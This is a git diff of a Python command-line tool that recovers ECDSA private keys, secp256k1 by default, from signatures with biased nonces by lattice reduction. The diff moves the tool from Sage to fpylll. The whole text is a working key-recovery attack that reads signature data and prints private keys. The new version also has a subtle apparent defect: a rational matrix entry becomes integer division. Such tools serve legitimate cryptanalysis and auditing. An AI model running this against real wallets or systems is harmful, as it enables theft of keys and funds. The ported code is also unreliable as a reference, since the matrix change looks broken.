11#!/usr/bin/env python
2- # Author Dario Clavijo 2020
3- # based on previous work :
2+ # Author: Dario Clavijo ( 2020)
3+ # Based on:
44# https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
55# https://www.youtube.com/watch?v=6ssTlSSIJQE
66
77import sys
88import argparse
99import mmap
10- from sage .all_cmdline import *
1110import gmpy2
11+ from fpylll import IntegerMatrix , LLL , BKZ
1212
1313# Default order from secp256k1 curve
14- DEFAULT_ORDER = 115792089237316195423570985008687907852837564279074904382605163141518161494337
14+ DEFAULT_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
1515
1616
1717def modular_inv (a , b ):
@@ -20,13 +20,11 @@ def modular_inv(a, b):
2020
2121
2222def load_csv (filename , limit = None , mmap_flag = False ):
23- """Load CSV with ECDSA data, optimized to handle file efficiently (with optional mmap) ."""
23+ """Load CSV with ECDSA data."""
2424 msgs , sigs , pubs = [], [], []
25-
26- # Open the file with mmap if requested
25+
2726 if mmap_flag :
2827 with open (filename , 'r' ) as f :
29- # Memory map the file for efficient access
3028 mapped_file = mmap .mmap (f .fileno (), 0 , access = mmap .ACCESS_READ )
3129 lines = mapped_file .splitlines ()
3230 for n , line in enumerate (lines ):
@@ -38,7 +36,6 @@ def load_csv(filename, limit=None, mmap_flag=False):
3836 sigs .append ((int (R , 16 ), int (S , 16 )))
3937 pubs .append (pub )
4038 else :
41- # Regular file reading without mmap
4239 with open (filename , 'r' ) as fp :
4340 for n , line in enumerate (fp ):
4441 if limit is not None and n >= limit :
@@ -47,149 +44,126 @@ def load_csv(filename, limit=None, mmap_flag=False):
4744 msgs .append (int (Z , 16 ))
4845 sigs .append ((int (R , 16 ), int (S , 16 )))
4946 pubs .append (pub )
50-
47+
5148 return msgs , sigs , pubs
5249
5350
54- def make_matrix (msgs , sigs , pubs , B , order , matrix_type = "dense" ):
55- """Construct matrix, either sparse or dense, based on the matrix_type parameter."""
51+ def make_matrix_fpylll (msgs , sigs , B , order ):
52+ """
53+ Construct IntegerMatrix for fpylll reduction.
54+ """
5655 m = len (msgs )
5756 m1 , m2 = m + 1 , m + 2
58- sys .stderr .write (f"Using: { m } sigs...\n " )
59-
60- if matrix_type == "sparse" :
61- matrix = SparseMatrix (QQ , m2 , m2 )
62- else :
63- matrix = Matrix (QQ , m2 , m2 )
57+ B2 = 1 << B
58+
59+ mat = IntegerMatrix (m2 , m2 )
6460
6561 msgn , rn , sn = msgs [- 1 ], sigs [- 1 ][0 ], sigs [- 1 ][1 ]
6662 mi_sn_order = modular_inv (sn , order )
67- rnsn_inv = rn * mi_sn_order
68- mnsn_inv = msgn * mi_sn_order
63+ rnsn_inv = ( rn * mi_sn_order ) % order
64+ mnsn_inv = ( msgn * mi_sn_order ) % order
6965
7066 for i in range (m ):
71- # Fill diagonal with the order
72- matrix [i , i ] = order
73- # Set values for the matrix (only first m columns)
7467 mi_sigi_order = modular_inv (sigs [i ][1 ], order )
75- matrix [m , i ] = (sigs [i ][0 ] * mi_sigi_order ) - rnsn_inv
76- matrix [m1 , i ] = (msgs [i ] * mi_sigi_order ) - mnsn_inv
68+ mat [i , i ] = order
69+ mat [m , i ] = int ((sigs [i ][0 ] * mi_sigi_order - rnsn_inv ) % order )
70+ mat [m1 , i ] = int ((msgs [i ] * mi_sigi_order - mnsn_inv ) % order )
7771
78- # Populate last two columns with specific values
79- B2 = 1 << B
80- matrix [ m , m1 ] = B2 / order
81- matrix [ m1 , m1 ] = B2
72+ mat [ m , m1 ] = B2 // order
73+ mat [ m1 , m1 ] = B2
74+
75+ return mat
8276
77+
78+ def reduce_matrix (matrix , algorithm = "LLL" ):
79+ if algorithm == "LLL" :
80+ LLL .reduction (matrix )
81+ else :
82+ LLL .reduction (matrix )
83+ bkz = BKZ (matrix )
84+ param = BKZ .Param (block_size = 20 )
85+ bkz (param )
8386 return matrix
8487
8588
8689def privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , order , max_rows = 20 ):
8790 """
88- Extract private keys by:
89- • Precomputing (a,b,cd,ab_list) for all msgs,
90- • Sorting rows by ||row|| ascending,
91- • Testing only the top `max_rows` rows.
91+ Try recovering private keys from reduced lattice matrix.
9292 """
9393 from math import sqrt
9494 keys = set ()
95- m = len (msgs )
95+ m = len (msgs )
9696 msgn , rn , sn = msgs [- 1 ], sigs [- 1 ][0 ], sigs [- 1 ][1 ]
9797
98- # 1) Precompute per-i constants
9998 params = []
10099 for i in range (m ):
101100 a = rn * sigs [i ][1 ]
102101 b = sn * sigs [i ][0 ]
103102 c = sn * msgs [i ]
104103 d = msgn * sigs [i ][1 ]
105104 cd = (c - d ) % order
106- if a == b : ab_list = None
107- else : ab_list = [ (a - b ) % order , (b - a ) % order ]
105+ if a == b :
106+ ab_list = None
107+ else :
108+ ab_list = [(a - b ) % order , (b - a ) % order ]
108109 params .append ((b , cd , ab_list ))
109110
110- # 2) Compute row norms once
111111 row_norms = []
112- for idx , row in enumerate (matrix ):
113- # only consider first m components for the norm
114- norm2 = sum ((float (row [j ])** 2 for j in range (m )))
112+ for idx in range (matrix .nrows ):
113+ norm2 = sum ((float (matrix [idx , j ]) ** 2 for j in range (m )))
115114 row_norms .append ((norm2 , idx ))
116115 row_norms .sort ()
117116
118- # 3) Only test top max_rows shortest rows
119117 for _ , ridx in row_norms [:max_rows ]:
120- row = matrix [ridx ]
121- # extract all potential k-diffs at once
122- kdiffs = [int (row [j ]) for j in range (m )]
123- # for each message i, attempt recovery
118+ row = [int (matrix [ridx , j ]) for j in range (m )]
124119 for i , (b , cd , ab_list ) in enumerate (params ):
125- base = (cd - b * kdiffs [i ])
120+ base = (cd - b * row [i ])
126121 if ab_list is None :
127- # special case a==b -> key = base
128- if 0 < base < order : keys .add (base )
129- else : keys .add (base % order )
122+ keys .add (base % order )
130123 else :
131124 for ab in ab_list :
132- # modular_inv only if ab != 0
133125 if ab :
134126 inv = modular_inv (ab , order )
135- key = (base * inv )
136- if 0 < key < order : keys .add (key )
137- else : keys .add (key % order )
127+ key = (base * inv ) % order
128+ keys .add (key )
138129 return list (keys )
139130
140131
141-
142132def display_keys (keys ):
143- """Display private keys in hexadecimal format ."""
133+ """Display recovered private keys."""
144134 sys .stdout .write ("\n " .join ([f"{ key :064x} " for key in keys ]) + "\n " )
145135 sys .stdout .flush ()
146136 sys .stderr .flush ()
147137
148138
149139def main ():
150- """Main function to load data, perform lattice reduction, and display keys."""
151- parser = argparse .ArgumentParser (description = "ECDSA private key recovery using lattice reduction" )
152-
153- # Command line arguments
154- parser .add_argument ("filename" , help = "CSV file containing the ECDSA messages and signatures" )
155- parser .add_argument ("B" , type = int , help = "Parameter B for matrix construction" )
156- parser .add_argument ("limit" , type = int , help = "Limit for number of records to process" )
140+ parser = argparse .ArgumentParser (description = "ECDSA private key recovery using lattice reduction (fpylll)" )
141+ parser .add_argument ("filename" , help = "CSV file containing ECDSA traces" )
142+ parser .add_argument ("B" , type = int , help = "log2 bound parameter B" )
143+ parser .add_argument ("limit" , type = int , help = "Limit number of signatures to process" )
157144 parser .add_argument (
158- "--matrix_type" , choices = ["dense" , "sparse" ], default = "dense" ,
159- help = "Type of matrix to use: 'dense' or 'sparse' (default: dense)"
160- )
161- parser .add_argument (
162- "--order" , type = int , default = DEFAULT_ORDER ,
163- help = "Order of the curve. Default is the secp256k1 order"
145+ "--order" , type = int , default = DEFAULT_ORDER ,
146+ help = "Curve order (default: secp256k1)"
164147 )
165148 parser .add_argument (
166149 "--reduction" , choices = ["LLL" , "BKZ" ], default = "LLL" ,
167- help = "Reduction algorithm: LLL (default) or BKZ "
150+ help = "Lattice reduction algorithm (default: LLL) "
168151 )
169152 parser .add_argument (
170- "--mmap" , action = "store_true" ,
171- help = "Enable memory-mapping for the CSV file for faster processing "
153+ "--mmap" , action = "store_true" ,
154+ help = "Enable mmap for fast CSV access "
172155 )
173156
174- # Parse arguments
175157 args = parser .parse_args ()
176158
177- # Load messages, signatures, and public keys with optional mmap
178159 msgs , sigs , pubs = load_csv (args .filename , limit = args .limit , mmap_flag = args .mmap )
160+ sys .stderr .write (f"Using: { len (msgs )} sigs...\n " )
179161
180- # Construct matrix for lattice reduction
181- matrix = make_matrix (msgs , sigs , pubs , args .B , args .order , matrix_type = args .matrix_type )
182-
183- # Perform LLL or BKZ reduction
184- if args .reduction == "LLL" :
185- new_matrix = matrix .LLL (early_red = True , use_siegel = True )
186- else :
187- new_matrix = matrix .BKZ (early_red = True , use_siegel = True )
188-
189- # Extract and display private keys
190- keys = privkeys_from_reduced_matrix (msgs , sigs , pubs , new_matrix , args .order )
162+ matrix = make_matrix_fpylll (msgs , sigs , args .B , args .order )
163+ matrix = reduce_matrix (matrix , algorithm = args .reduction )
164+ keys = privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , args .order )
191165 display_keys (keys )
192166
193167
194168if __name__ == "__main__" :
195- main ()
169+ main ()
0 commit comments